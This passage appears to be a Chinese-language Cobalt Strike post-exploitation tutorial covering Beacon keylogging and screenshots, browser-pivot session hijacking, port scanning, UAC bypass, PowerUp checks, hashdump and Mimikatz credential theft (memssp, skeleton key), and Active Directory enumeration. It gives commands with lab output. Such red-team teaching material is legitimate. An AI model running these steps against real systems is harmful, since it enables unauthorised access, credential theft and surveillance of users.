# Untitled

## 11、用户驱动溢出攻击

### 0x00 前言

Beacon 运行任务的方式是以`jobs`去运行的，比如键盘记录、PowerShell 脚本、端口扫描等，这些任务都是在 beacon check in 之间于后台运行的。

`jobs`：查看当前 Beacon 中的任务

`jobkill`：加上任务 ID，对指定任务进行停止

### 0x01 屏幕截图和键盘记录

#### 屏幕截图

`screenshot`：获取屏幕截图，使用`screenshot pid`来将截屏工具注入到一个 x86 的进程中，使用`screenshot pid x64`注入到一个 x64 进程中，explorer.exe 是一个好的候选程序。

使用`screenshot [pid] [x86|x64] [time]`来请求截屏工具运行指定的秒数，并在每一次 Beacon 连接到团队服务器的时候报告一张屏幕截图，这是查看用户桌面的一种简便方法。要查看截屏的具体信息，通过`View --> Screenshots`来浏览从所有 Beacon 会话中获取的截屏。

#### 键盘记录

`keylogger`：键盘记录器，使用`keylogger pid`来注入一个 x86 程序。使用`keylogger pid x64`来注入一个 x64 程序，explorer.exe 是一个好的候选程序。

使用单独的 keylogger 命令来将键盘记录器注入一个临时程序。键盘记录器会监视从被注入的程序中的键盘记录并将结果报告给 Beacon，直到程序终止或者自己杀死了这个键盘记录后渗透任务。要查看键盘记录的结果，可以到`View --> Keystrokes`中进行查看。

#### 其他

除了上述使用命令的方式进行屏幕截图和键盘记录，也可以来到`Explore --> Process List`下选择要注入的进程，再直接点击屏幕截图或键盘记录的功能按钮。

从使用上，具体注入那个程序都是可以的，只是注入 explorer.exe 会比较稳定与持久。值得注意的是，多个键盘记录器可能相互冲突，每个桌面会话只应使用一个键盘记录器。

### 0x02 浏览器转发

浏览器转发是指在已经攻击成功的目标中，利用目标的信息登录网站进行会话劫持，但是目前只支持目标正在使用IE浏览器的前提下。关于如何判断当前用户是否使用IE浏览器，则可以通过屏幕截图来判断。如下图中，通过屏幕截图可以看到目标正在使用IE浏览器登陆着当前网站的admin账户。\\

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidXTotg5nos9S0CV-u%2F-MidXiLlQ01cQykbv9na%2Fimage.png?alt=media\&token=360a0f4a-0836-4319-8184-3a6fb5053aaa)

找到目前正在使用IE浏览器的目标后，右击该会话，选择`Explore --> Browser Pivot`，随后选择要注入的进程，CS 会在它认为可以注入的进程右边显示一个对勾，设置好端口后，点击运行即可。

此时，在浏览器中配置代理，代理配置为http代理，IP为CS团队服务器IP，端口为刚设置的端口。

代理配置好后，在浏览器中打开目标当前正在打开的网址，即可绕过登录界面。

### 0x03 端口扫描

`portscan`：进行端口扫描，使用参数为：`portscan [targets] [ports] [discovery method]`。

目标发现`discovery method`有三种方法，分别是：`arp、icmp、none`，`arp`方法使用 ARP 请求来发现一个主机是否存活。`icmp`方法发送一个 ICMP echo 请求来检查一个目标是否存活。`none`选项让端口扫描工具假设所有的主机都是存活的。

端口扫描会在 Beacon 和团队服务器通讯的这个过程中不停运行。当它有可以报告的结果，它会把结果发送到 Beacon 控制台。Cobalt Strike 会处理这个信息并使用发现的主机更新目标模型。

右击 Beacon会话，在`Explore --> Port Scan`中即可打开端口扫描的图形窗口，CS会自动填充扫描地址，确认扫描地址、端口、扫描方式等无误后，开始扫描即可。扫描结束后，在 target table页面中可看到扫描结果，右击会话，选择 Services 可查看详细的扫描结果。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidXTotg5nos9S0CV-u%2F-MidXrzVqccl2M4dcnTG%2Fimage.png?alt=media\&token=1a401bfb-0326-4c77-9c77-0d1a220c53bc)

## 12、特权提升

### 0x00 用户账户控制

自 Windows vista 开始，Windows 系统引进了用户账户控制机制，即 UAC`User Account Control`机制，UAC 机制在 Win 7中得到了完善。UAC 与 UNIX 中的 sudo 工作机制十分相似，平时用户以普通权限工作，当用户需要执行特权操作时，系统会询问他们是否要提升权限。

此时系统用户可分为以下三种等级：

高：管理员权限

中：一般用户权限

低：受限制的权限

使用`whoami /groups`命令可以看到当前用户所在的组以及权限，使用`net localgroup administrators`可以查看当前在管理员组里的用户名。

### 0x01 提升权限

当某些操作需要管理员权限，而当前用户权限只有一般用户权限时，就需要提权操作了。

在 CS 中有以下几种提权操作：

`bypassuac`：将本地中级管理员权限提升至本地高级管理员权限，适用于Win 7 及以上的系统。

`elevate`：将任意用户的权限提升至系统权限，适用于2018年11月更新之前的 Win 7 和 Win 10 系统。

`getsystem`：将本地高级管理员权限提升至系统权限。

`runas`：使用其他用户的凭证来以其他用户身份运行一个命令，该命令不会返回任何输出。

`spawnas`：使用其他用户的凭证来以其他用户身份派生一个会话，这个命令派生一个临时的进程并将 payload stage 注入进那个进程。

### 0x03 Spawn As 的使用

首先，右击待提权的会话，选择`Access --> Spawn As`，输入目标系统用户身份信息，其中域信息填写一个“点”代表本地用户，监听器这里选择的 SMB 监听器，之后点击运行就能看到对应的用户上线了。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidXTotg5nos9S0CV-u%2F-MidYSY_l_DYAOzr80aJ%2Fimage.png?alt=media\&token=114114d9-875f-41e5-a3d3-55d3c1a7603a)

## 13、bypassuac

Bypass UAC 有两个步骤，分别是：

1、利用 UAC 漏洞来获取一个特权文件副本

2、使用 DLL 劫持进行代码执行

首先使用`shell whoami /groups`查看当前上线主机用户的所属组及 UAC 等级

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidXTotg5nos9S0CV-u%2F-MidYlvy-eRNl-r8D00Y%2Fimage.png?alt=media\&token=b17b1188-8953-4e85-8dfc-4b07f6b9c73a)

通过返回信息可以看出，当前用户为管理员权限，UAC 等级为中，根据上一节中关于的介绍，此时可以使用`bypassuac`进行提权。

首先，右击会话，选择`Access --> Elevate`，这里选择一个 SMB Beacon，Exploit 选择`uac-token-duplication`，最后 Launch 即可。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidXTotg5nos9S0CV-u%2F-MidYrJfio7kDtbiTfU0%2Fimage.png?alt=media\&token=d0ae3a56-b3fc-4875-8cb1-9389c701eed0)

待 Beacon Check in 后，当前用户 UAC 为高权限的会话便会上线了。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidXTotg5nos9S0CV-u%2F-MidYwBfcsR-EcHrgGZe%2Fimage.png?alt=media\&token=60f42d17-40de-4376-bdbc-2e420402c6f4)

## 14、powerup提权的方法

### 0x00 介绍

PowerUp 所做的事是寻找可能存在弱点的地方，从而帮助提权。

利用 PowerUp 进行提权需要首先导入 ps1 文件`powershell-import PowerUp.ps1`，再执行`powershell Invoke-AllChecks`命令，使用 PowerUp 脚本可以快速的帮助我们发现系统弱点，从而实现提权的目的。

> 其中`PowerUp.ps1`文件可从这里下载：<https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc>

### 0x01 PowerUp 的使用

执行以下命令：将 ps1 文件上传到目标主机，并执行所有弱点检查。none

```
powershell-import PowerUp.ps1
powershell invoke-allchecks
```

详细运行过程：none

```
beacon> powershell-import PowerUp.ps1
[*] Tasked beacon to import: PowerUp.ps1
[+] host called home, sent: 275084 bytes

beacon> powershell invoke-allchecks
[*] Tasked beacon to run: invoke-allchecks
[+] host called home, sent: 313 bytes
[+] received output:
[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!
[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...
[+] received output:
ServiceName                     : AeLookupSvc
Path                            : C:\Windows\system32\svchost.exe -k netsvcs
ModifiableFile                  : C:\Windows\system32
ModifiableFilePermissions       : GenericAll
ModifiableFileIdentityReference : BUILTIN\Administrators
StartName                       : localSystem
AbuseFunction                   : Install-ServiceBinary -Name 'AeLookupSvc'
CanRestart                      : True
……内容太多，此处省略……

[*] Checking service permissions...
[+] received output:
ServiceName   : AeLookupSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs
StartName     : localSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'AeLookupSvc'
CanRestart    : True
……内容太多，此处省略……

[*] Checking %PATH% for potentially hijackable DLL locations...
[+] received output:
Permissions       : GenericAll
ModifiablePath    : C:\Windows\system32\WindowsPowerShell\v1.0\
IdentityReference : BUILTIN\Administrators
%PATH%            : %SystemRoot%\system32\WindowsPowerShell\v1.0\
AbuseFunction     : Write-HijackDll -DllPath 'C:\Windows\system32\WindowsPowerS
                    hell\v1.0\\wlbsctrl.dll'
……内容太多，此处省略……

[*] Checking for AlwaysInstallElevated registry key...
[*] Checking for Autologon credentials in registry...

[*] Checking for modifidable registry autoruns and configs...
[+] received output:
Key            : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VMware Use
                 r Process
Path           : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
ModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files
                 \VMware\VMware Tools\vmtoolsd.exe; IdentityReference=BUILTIN\A
                 dministrators}
……内容太多，此处省略……

[*] Checking for modifiable schtask files/configs...
[+] received output:
TaskName     : GoogleUpdateTaskMachineCore
TaskFilePath : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files (
               x86)\Google\Update\GoogleUpdate.exe; IdentityReference=BUILTIN\A
               dministrators}
TaskTrigger  : <Triggers xmlns="http://schemas.microsoft.com/windows/2004/02/mi
               t/task"><LogonTrigger><Enabled>true</Enabled></LogonTrigger><Cal
               endarTrigger><StartBoundary>2020-04-11T21:47:44</StartBoundary><
               ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay></Ca
               lendarTrigger></Triggers>
……内容太多，此处省略……

[*] Checking for unattended install files...
UnattendPath : C:\Windows\Panther\Unattend.xml

[*] Checking for encrypted web.config strings...
[*] Checking for encrypted application pool and virtual directory passwords...
[*] Checking for plaintext passwords in McAfee SiteList.xml files....
[+] received output:
[*] Checking for cached Group Policy Preferences .xml files....
[+] received output:
```

如果在自己的靶机上发现导入ps1文件失败，这可能是因为系统不允许执行不信任的脚本文件导致的。

这时为了复现成功可以来到靶机下，以管理员权限打开 Powershell，运行`set-ExecutionPolicy RemoteSigned`，输入`Y`回车，此时系统便能导入 `PowerUp.ps1`文件了。none

```
PS C:\WINDOWS\system32> set-ExecutionPolicy RemoteSigned
执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险，如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?
[Y] 是(Y)  [A] 全是(A)  [N] 否(N)  [L] 全否(L)  [S] 暂停(S)  [?] 帮助 (默认值为“N”): Y
PS C:\WINDOWS\system32>
```

在运行`Invoke-AllChecks`后，便会列出当前系统中可被提权的弱点之处，之后再执行检查结果中`AbuseFunction`下的命令便能开始提权操作了。

但是我在自己本地环境中并未复现成功，执行`AbuseFunction`后的命令只能创建一个与当前登录用户相同权限的账户，没能达到提权的目的。

参考网上相关文章后也未果，这也是为什么这一节拖更这么久的原因，因此 PowerUp 的复现过程暂时就没法记录了。

如果正在看本篇文章的你有过使用 PowerUp 提权成功的经历，欢迎留言分享。

### 0x02 获取凭证和哈希

想要获取凭证信息，可以在管理员权限的会话处右击选择`Access --> Dump Hashes`，或者在控制台中使用`hashdump`命令。\\

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidXTotg5nos9S0CV-u%2F-MidZKJAEOmAkFrGPI45%2Fimage.png?alt=media\&token=7f6e6c2f-45b2-4591-a0d7-e6d7ca2a9548)

&#x20;想获取当前用户的密码，可以运行`mimikatz`，右击管理员权限会话选择`Access --> Run Mimikatz`，或在控制台运行`logonpasswords`命令。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidXTotg5nos9S0CV-u%2F-MidZaQOcvJQcbX961SU%2Fimage.png?alt=media\&token=a65c2610-8d5e-46e2-8589-8637ba17fa31)

在`View --> Credentials`下可以查看到`hashdump`与`mimikatz`获取的数据。

### 0x03 Mimikatz

在 Beacon 中集成了 mimikatz ，mimikatz 执行命令有三种形式：

* `mimikatz [module::command] <args>`

  运行 mimikatz 命令
* `mimikatz [!module::command] <args>`

  强制提升到 SYSTEM 权限再运行命令，因为一些命令只有在 SYSTEM 身份下才能被运行。
* `mimikatz [@module::command] <args>`

  使用当前 Beacon 的访问令牌运行 mimikatz 命令

下面是一些`mimikatz`命令。

* `!lsadump::cache`

  获取缓存凭证，默认情况下 Windows 会缓存最近10个密码哈希
* `!lsadump::sam`

  获取本地账户密码哈希，该命令与 hashdump 比较类似
* `misc::cmd`

  如果注册表中禁用了 CMD ，就重新启用它
* `!misc::memssp`

  注入恶意的 Windows SSP 来记录本地身份验证凭据，这个凭证存储在“C:\windows\system32\mimilsa.log”中
* `misc::skeleton`

  该命令仅限域内使用。该命令会给所有域内用户添加一个相同的密码，域内所有的用户都可以使用这个密码进行认证，同时原始密码也可以使用,其原理是对 lsass.exe 进行注入，重启后会失效。
* `process::suspend [pid]`

  挂起某个进程，但是不结束它
* `process::resume [pid]`

  恢复挂起的进程

以上的这些只是`mimikatz`能做事情的一小部分，下面看看`!misc::memssp`的使用。

```
mimikatz !misc::memssp
cd C:\Windows\system32
shell dir mimilsa.log
shell type mimilsa.log
```

详细运行过程：

首先运行`mimikatz !misc::memssp`

```
beacon> mimikatz !misc::memssp
[*] Tasked beacon to run mimikatz's !misc::memssp command
[+] host called home, sent: 1006151 bytes
[+] received output:
Injected =)
```

接下来来到`C:\Windows\system32`目录

```
beacon> cd C:\Windows\system32
[*] cd C:\Windows\system32
[+] host called home, sent: 27 bytes

beacon> shell dir mimilsa.log
[*] Tasked beacon to run: dir mimilsa.log
[+] host called home, sent: 46 bytes
[+] received output:
 驱动器 C 中的卷没有标签。
 卷的序列号是 BE29-9C84

 C:\Windows\system32 的目录

2020/07/23  21:47                24 mimilsa.log
               1 个文件             24 字节
               0 个目录 17,394,728,960 可用字节
```

可以看到是存在`mimilsa.log`文件的，此时待目标主机重新登录，比如电脑锁屏后用户进行登录。

查看`mimilsa.log`文件内容。

```
beacon> shell type mimilsa.log
[*] Tasked beacon to run: type mimilsa.log
[+] host called home, sent: 47 bytes
[+] received output:
[00000000:000003e5] \	
[00000000:002b99a7] WIN-75F8PRJM4TP\Administrator	Password123!
```

成功获取到当前登录用户的明文密码。\\

## 15、枚举的命令和方法

### 0x00 Windows 企业局域网环境介绍

#### 1、活动目录

活动目录`Active Directory`是一种能够集中管理用户、系统和策略的技术，活动目录的一个重要概念就是`域`。

Active Directory 存储有关网络上对象的信息，并让管理员和用户可以更容易地使用这些信息。例如 Active Directory 域服务即 AD DS 存储着有关用户账户的信息，并且使同一网络下的其他授权用户可以访问此信息。

#### 2、域

域`Domain`即是一个管理员或者说是网络边界，在域里的用户和系统都是通过 AD进行管理的。

在域里，如果想控制服务器进行操作就需要取得域的信任。

#### 3、域控制器

域控制器`Domain Controller`顾名思义就是一个对域里的用户和系统进行身份验证的一个系统。

#### 4、本地用户

本地用户`Local User`就是系统上的一个标准用户。

当我们想在 Windows 命令行下指定一个本地的用户时，可以通过输入 `.\本地用户名`或者 `计算机名\本地用户名`来指定本地的用户账户，其中`.`表示计算机名。

#### 5、域用户

域用户`Domain User`是指域控制器下的用户，如果想指定域用户，可以输入`域名\域用户名`

#### 6、本地管理员

本地管理员`Local Administrator`即是指在本地系统有管理权限的用户。

#### 7、域管理员

域管理员`Domain Administrator`是指在域控制器上有管理权限的用户。

> 注意：以下命令是在主机中运行的结果，在 Cobalt Strike 中运行只需要根据命令类型在命令前加上 shell 或者 powershell 即可。

### 0x01 枚举主机和域信任

#### 1、一些问题

当进入目标局域网时，需要弄清楚几个问题。

1、我正处在那个域上？

2、域信任关系是什么样的？

3、可以登陆哪些域？这些域上有哪些系统？目标是什么？可以获取什么？

4、系统上存放共享数据的地方在哪里？

#### 2、一些枚举的命令

* `net view /domain`

  枚举出当前域

```
PS C:\> net view /domain
Domain
-------------------------
TEAMSSIX
命令成功完成。
```

* `net view /domain:[domain]`、`net group "domain computers" /domain`

  `net view /domain:[domain]`枚举域上一个主机的列表，但不是所有主机，这个也就是在网上邻居中可以看到的内容。

  `net group "domain computers" /domain`可以获得加入到这个域中的电脑账户列表。

```
PS C:\> net view /domain:teamssix
服务器名称            注解
----------------------------------
\\WIN-72A8ERDSF2P
\\WIN-P2AASSD1AF1
命令成功完成。

PS C:\> net group "domain computers" /domain
组名     Domain Computers
注释     加入到域中的所有工作站和服务器
成员
----------------------------------------------
WIN-72A8ERDSF2P$
命令成功完成。
```

* `nltest /dclist:[domain]`

  如果想找到那个主机是域的域控服务器，可以使用`nltest`命令

```
PS C:\> nltest /dclist:teamssix
获得域“teamssix”中 DC 的列表(从“\\WIN-P2AASSD1AF1”中)。
    WIN-P2AASSD1AF1.teamssix.com [PDC]  [DS] 站点: Default-First-Site-Name
此命令成功完成
```

​ 当使用 32 位的 payload 运行在 64 位的系统上，并且 nltest 路径不对的时候，可能会提示没有 nltest 这个命令，这时可以尝试使用下面的命令为其指定路径。

```
PS C:\> C:\windows\sysnative\nltest /dclist:teamssix
获得域“teamssix”中 DC 的列表(从“\\WIN-P2AASSD1AF1”中)。
    WIN-P2AASSD1AF1.teamssix.com [PDC]  [DS] 站点: Default-First-Site-Name
此命令成功完成
```

* `nslookup [name]`、`ping -n 1 -4 [name]`

  有时在 Cobalt Strike 里，我们只需要使用目标的 NetBIOS 名称，而不用在意使用 IPv4 地址或者 IPv6 地址，NetBIOS 名称是在域上每台机器的完整名称。

  但是如果想通过一个 IPv4 地址转换为一个 NetBIOS 名称，可以使用 nslookup 命令，或者使用 ping 发送一个包来获得主机返回的 IP 地址。

```
PS C:\> nslookup WIN-P2AASSD1AF1
服务器:  UnKnown
Address:  ::1
名称:    WIN-P2AASSD1AF1.teamssix.com
Address:  192.168.15.124

PS C:\> ping -n 1 -4 WIN-P2AASSD1AF1
正在 Ping WIN-P2AASSD1AF1.teamssix.com [192.168.15.124] 具有 32 字节的数据:
来自 192.168.15.124 的回复: 字节=32 时间<1ms TTL=128
192.168.15.124 的 Ping 统计信息:
    数据包: 已发送 = 1，已接收 = 1，丢失 = 0 (0% 丢失)，
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms，最长 = 0ms，平均 = 0ms
```

* `nltest /domain_trusts`、`nltest /server:[address] /domain_trusts`

  如果想取得域上的信任关系，可以使用 nltest 命令来实现。

```
PS C:\> nltest /domain_trusts
域信任的列表:
    0: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成

PS C:\> nltest /server:192.168.15.124 /domain_trusts
域信任的列表:
    0: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成
```

* `net view \\[name]`

  如果想列出主机上的共享列表，只需输入`net view \\[name]`即可

```
PS C:\> net view \\WIN-P2AASSD1AF1
在 \\WIN-75F8PRJM4TP 的共享资源
共享名  类型  使用为  注释
----------------------------------
Users   Disk
命令成功完成。
```

### 0x02 PowerView

在渗透进入内网后，如果直接使用 Windows 的内置命令，比如 `net view、net user`等，可能就会被管理人员或者各种安全监控设备所发现。因此较为安全的办法就是使用 Powershell 和 VMI 来进行躲避态势感知的检测。

PowerView 是由 Will Schroeder 开发的 PowerShell 脚本，该脚本完全依赖于 Powershell 和 VMI ，使用 PowerView 可以更好的收集内网中的信息，在使用之前，与上一节 PowerUp 的一样需要先 import 导入 ps1 文件。

PowerView 下载地址：<https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon>

一些 PowerView 的命令：

* Get-NetDomain

  查询本地域的信息

```
PS C:\PowerView> Get-NetDomain
Forest                  : teamssix.com
DomainControllers       : {WIN-P2AASSD1AF1.teamssix.com}
Children                : {}
DomainMode              : Windows2012Domain
Parent                  :
PdcRoleOwner            : WIN-P2AASSD1AF1.teamssix.com
RidRoleOwner            : WIN-P2AASSD1AF1.teamssix.com
InfrastructureRoleOwner : WIN-P2AASSD1AF1.teamssix.com
Name                    : teamssix.com
```

* Invoke-ShareFinder

  查找网络上是否存在共享

```
PS C:\PowerView> Invoke-ShareFinder
\\WIN-P2AASSD1AF1.teamssix.com\ADMIN$   - 远程管理
\\WIN-P2AASSD1AF1.teamssix.com\C$       - 默认共享
\\WIN-P2AASSD1AF1.teamssix.com\IPC$     - 远程 IPC
\\WIN-P2AASSD1AF1.teamssix.com\NETLOGON         - Logon server share
\\WIN-P2AASSD1AF1.teamssix.com\SYSVOL   - Logon server share
```

* Invoke-MapDomainTrust

  显示当前域的信任关系

```
PS C:\PowerView> Invoke-MapDomainTrust
```

其他更多用法可以查看参考链接，或者参考 PowerView 项目上的 ReadMe 部分。

### 0X03 Net 模块

Cobalt Strike 中有自己的 net 模块，net 模块是 beacon 后渗透攻击模块，它通过 windows 的网络管理 api 函数来执行命令，想使用 net 命令，只需要在 beacon 的控制中心输入 net + 要执行的命令即可。

```
net dclist : 列出当前域的域控制器
net dclist [DOMAIN] : 列出指定域的域控制器
net share \\[name] : 列出目标的共享列表
net view : 列出当前域的主机
net view [DOMAIN] : 列出指定域的主机
```

在 beacon 控制台中输入这些命令很类似输入一个本地的 net 命令，但是有一些些许的不同，比如下面一个是在主机上运行 net view 的结果一个是在 beacon 控制台下运行 net view 的结果。不难看出，beacon 下输出的结果更为丰富。

```
PS C:\> net view
服务器名称            注解
-------------------------------------------
\\WIN-P2AASSD1AF1
命令成功完成。
```

```
beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 104504 bytes
[+] received output:
List of hosts:
Server Name             IP Address                       Platform  Version  Type   Comment
-----------             ----------                       --------  -------  ----   -------
WIN-P2AASSD1AF1         192.168.15.124                   500       6.1      PDC    
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidXTotg5nos9S0CV-u%2F-Midate7SUwKLwrO4cxj%2Fimage.png?alt=media\&token=6fc6eb9c-93b1-4cdf-92ac-a6d43a49f6d1)
